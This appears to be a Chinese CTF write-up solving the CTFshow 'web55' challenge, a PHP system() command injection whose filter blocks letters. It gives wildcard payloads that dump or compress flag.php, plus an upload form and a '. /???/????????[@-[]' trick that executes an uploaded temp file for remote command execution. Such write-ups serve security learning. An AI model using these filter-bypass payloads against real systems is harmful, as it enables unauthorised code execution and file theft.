目录

web55

代码分析:

通配符解题:

构造rce

上传脚本

flag:


web55

代码分析:

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

过滤了所有字母,下意识想到用异或运算构造字符,但是法相不太行,最后看了大佬的题解发现是构造rce,或者利用目录特性来做

通配符解题:

/bin/base64 以base64加密输出文件,并且/???/????64可以定位到,所以

payload: /?c=/???/????64 ????.???

第二种:

/usr/bin/bzip2,将文件压缩为文件名.bz2可以使用/???/???/????2 访问到

payload: /?c=/???/???/????2 ????.???

然后访问/flag.php.bz2

下载后打开

 拿到flag

构造rce

第一步先写一个上传的网页,因为php中会把上传的文件先放到临时文件中,前面XSS有提到,又因为.没被过滤,所以可以上传一个命令文件,使用.执行,临时文件一般放在/tmp/文件,且命名规则为php加5个小写字母加一个可能为大写的字母,可以通过 . /???/????????[@-]]来访问,[@-]]是匹配大写字母用的

上传脚本

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="http://20a29f30-b869-423a-a6d6-e8cac9b4ca30.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

使用脚本向目标网站上传一个1.txt,抓包

修改内容如下,加一个参数用来执行

文件内容为:##/bin/sh调用控制台 +ls

发到重发器上,如果没有结果则再发送一次,因为最后一个字母不一定是大写的,所以要刷概率

结果出来啦

最后使用 cat flag.php,因为我前面给它压缩了变成了flag.php.bz2,所以cat到一堆乱码,就不展示了

flag:

ctfshow{ff85d8ef-05f2-4e62-a314-3e05ce5351df}

CTFshow web55相关推荐

  1. CTFshow 命令执行 web55

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 ...

  2. 命令执行(ctfshow)

    文章目录 介绍 PHP命令执行的参数 ${php代码} assert preg_replace() create_function() 介绍 构造一些payload 实现后门的搭建 array_map ...

  3. CTFSHOW WEB 1-100

    web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sql注入 <?php ...

  4. CTFSHOW web入门 命令执行+文件包含+PHP特性

    刷题时间记录表 ID 开始时间 结束时间 刷题范围 1 2021.08.23 19:20 2021.08.23 21.30 web41-45 2 2021.08.24 22:16 2021.08.25 ...

  5. CTFshow——命令执行

    CTFshow--命令执行 Web29 <?php error_reporting(0); if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_matc ...

  6. CTFshow命令执行29-123

    命令执行 WEB29 eval是php中执行以PHP脚本执行的命令 PHP命令可以执行脚本命令 本题使用方法是先 system(cp f*.php 1.txt) 然后访问1.txt WEB30 在PH ...

  7. ctfshow web入门 命令执行 web29~web77 web118~web124

    目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 w ...

  8. CTFshow sql注入 上篇(web171-220)

    目录 前言 题目 web 171(万能密码) web 172(回显内容过滤,base64或者hex编码绕过) web 173(回显内容过滤,base64或者hex编码绕过) web 174 (布尔盲注 ...

  9. CTFshow 反序列化 web266

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # ...

最新文章

  1. 把LabelImg标注的YOLO格式标签转化为VOC格式标签 和 把VOC格式标签转化为YOLO格式标签
  2. Delphi开发步骤经验谈(C++亦实用)
  3. fprintf与fwrite的区别
  4. 使用清华镜像安装pytorch失败的解决方法
  5. 【汇编语言】【ARM扩展资料】汇编语言开发
  6. SqlServer和Oralce保留几位小数以及当末尾小数为0也显示
  7. Mac端将本地新项目上传到github
  8. Fedora7安装后的配置
  9. 最新的easymule版本,使用vs2005编译
  10. grub4dos 引导linux,Grub4dos系统引导
  11. PS制作火焰文字特效
  12. CTF挑战赛-合天网安实验室
  13. 一万年太久只争朝夕:从灯泡的寿命谈截尾样本的基础知识
  14. Web前端业界氛围极好的群——鬼懿IT
  15. Android添加大图通知栏消息
  16. 好看实用的便签条工具推荐
  17. 简易的网上购物商城首页设计流程
  18. 2-VIV-Android控件之res资源加载
  19. (PHPExcel)读取表格中数据
  20. 双截龙java游戏下载_双截龙合集游戏

热门文章

  1. 小目标检测论文笔记:Learning Calibrated-Guidance for Object Detection in Aerial Images
  2. 老铁,又跌了!2020年6月程序员工资统计
  3. 学习笔记:SpringCloud 微服务技术栈_高级篇⑤_可靠消息服务
  4. Linux命令-fsync
  5. Matlab处理气象数据(九)逐点变化的显著性分析
  6. 数据库分区和分表的区别以及其作用
  7. 第二课 protel学习系列——原理图的绘制PCB绘制基础
  8. Windows系统作为NTP同步时间的服务器时的设置
  9. Hibernate之HQL多表查询
  10. php织梦模板上传,织梦模板让模型里的图片字段支持本地上传的办法